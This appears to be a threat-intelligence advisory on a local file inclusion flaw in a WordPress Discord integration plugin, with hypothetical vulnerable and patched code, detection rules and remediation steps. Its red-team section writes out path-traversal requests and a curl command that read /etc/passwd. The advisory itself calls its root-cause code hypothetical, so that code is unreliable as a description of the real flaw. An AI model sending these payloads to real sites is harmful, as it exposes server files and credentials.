CVE-2025-47672

Executive Summary

CVE-2025-47672 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the miniOrange Discord Integration WordPress plugin, versions <= 2.2.2. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, WordPress configuration files (wp-config.php), or log files containing credentials. The CVSS score of 8.1 (High) reflects the low attack complexity and network-based attack vector, though the impact is limited to confidentiality. No public exploit code or patch is currently available, making this a high-priority zero-day for WordPress administrators.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is maintained by miniOrange and is used for integrating Discord authentication and notifications into WordPress sites. As a supply chain risk, any site running this plugin is exposed until a patch is released. Administrators should monitor the plugin's update channel and consider disabling the plugin if it is not critical.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 8.1 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full file read capability.
• Integrity Impact: None (I:N) – No file modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The lack of authentication and low complexity make this an attractive target for automated scanning and exploitation. The EPSS score of 0.0% indicates low current exploitation activity, but this may change as details become public.

Deep Dive & Mechanics

The vulnerability exists in the miniorange-discord-integration plugin's PHP code, specifically in a function that handles file inclusion based on user-supplied input. The plugin likely uses a parameter (e.g., page, tab, or action) to dynamically include a PHP file for rendering admin pages or handling requests. Due to insufficient sanitization, an attacker can inject path traversal sequences (e.g., ../../) to include arbitrary files from the server.

Root Cause: The plugin uses a construct similar to:

include( plugin_dir_path( __FILE__ ) . 'views/' . $_GET['page'] . '.php' );

Without proper validation of the page parameter, an attacker can supply a value like ../../../../etc/passwd%00 to include /etc/passwd (null byte injection may be required in older PHP versions, but modern PHP may still allow path traversal).

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., /wp-admin/admin.php?page=miniorange-discord-integration).
2. Attacker crafts a request with a malicious page parameter containing path traversal.
3. The plugin includes the attacker-specified file, outputting its contents in the response.
4. Attacker reads sensitive files (e.g., wp-config.php for database credentials).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's main file or admin handler. A typical vulnerable pattern:

Vulnerable Code (hypothetical):

// In miniorange-discord-integration.php or similar
$page = $_GET['page'];
include( plugin_dir_path( __FILE__ ) . 'admin/views/' . $page . '.php' );

Patched Code (expected):

$allowed_pages = array('dashboard', 'settings', 'logs');
$page = sanitize_key( $_GET['page'] );
if ( in_array( $page, $allowed_pages ) ) {
    include( plugin_dir_path( __FILE__ ) . 'admin/views/' . $page . '.php' );
} else {
    // Default or error
}

The patch should implement a whitelist of allowed files and use sanitize_key() or basename() to prevent path traversal.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with miniOrange Discord Integration plugin <= 2.2.2 installed and activated.
• Knowledge of the vulnerable endpoint (likely /wp-admin/admin.php?page=miniorange-discord-integration).

Exploit Steps:

1. Identify the vulnerable parameter (e.g., page).
2. Craft a request to include a sensitive file:

   GET /wp-admin/admin.php?page=../../../../etc/passwd%00 HTTP/1.1
   Host: target.com
   

3. If null byte injection fails, try without null byte (modern PHP may still include the file if the path is valid):

   GET /wp-admin/admin.php?page=../../../../etc/passwd HTTP/1.1
   

4. Read the response for file contents.

Example cURL command:

curl -v "http://target.com/wp-admin/admin.php?page=../../../../etc/passwd"

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests containing ../ or %2e%2e%2f in the page parameter.
• Look for requests to /wp-admin/admin.php with unusual page values (e.g., ../../etc/passwd).
• Use WAF rules to block path traversal patterns.

Hardening:

• Disable the plugin until a patch is released.
• If the plugin is critical, implement a custom filter to whitelist allowed page values.
• Ensure PHP open_basedir is configured to restrict file access.
• Use a Web Application Firewall (WAF) with rules to block LFI attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin.php with page parameter containing ../ or %2e%2e%2f.
  • Unusual file paths in the page parameter (e.g., /etc/passwd, wp-config.php).
• File System IOCs:
  • Unexpected inclusion of system files in web server logs.
  • Presence of files like /tmp/exploit.php if the attacker attempts to upload a shell.
• Log IOCs:
  • Apache/Nginx access logs showing GET /wp-admin/admin.php?page=../../../../etc/passwd with a 200 response.
  • PHP error logs showing include(): Failed opening '../../../../etc/passwd' (if file does not exist).

Detection Engineering

YARA Rule

rule CVE_2025_47672_LFI_WordPress {
    meta:
        description = "Detects LFI attempts targeting miniOrange Discord Integration plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47672"
    strings:
        $path_traversal = /page=[^&]*\.\.\// nocase
        $sensitive_file = /page=[^&]*(etc\/passwd|wp-config\.php|\.\.\/)/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-47672 LFI Attempt on miniOrange Discord Integration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with path traversal in the page parameter targeting the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'page=../'
            - 'page=%2e%2e%2f'
            - 'page=..%2f'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47672 LFI Attempt - miniOrange Discord Integration"; flow:to_server,established; content:"/wp-admin/admin.php"; http_uri; content:"page="; http_uri; pcre:"/page=[^&]*\.\.\//iU"; classtype:attempted-recon; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not essential for operations.
2. Implement a virtual patch using a WAF to block requests containing ../ in the page parameter.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Wait for the vendor (miniOrange) to release a patched version. Check the WordPress plugin repository for updates.
• Once a patch is available, update to the latest version immediately.
• Consider replacing the plugin with an alternative if no patch is released.

Configuration Hardening:

• Set open_basedir in php.ini to restrict file inclusion to the WordPress directory:

  open_basedir = /var/www/html:/tmp
  

• Disable allow_url_include and allow_url_fopen if not needed.
• Use a security plugin like Wordfence to add an additional layer of protection.

Valters IT
DevSecOps & Cyber Threat Intelligence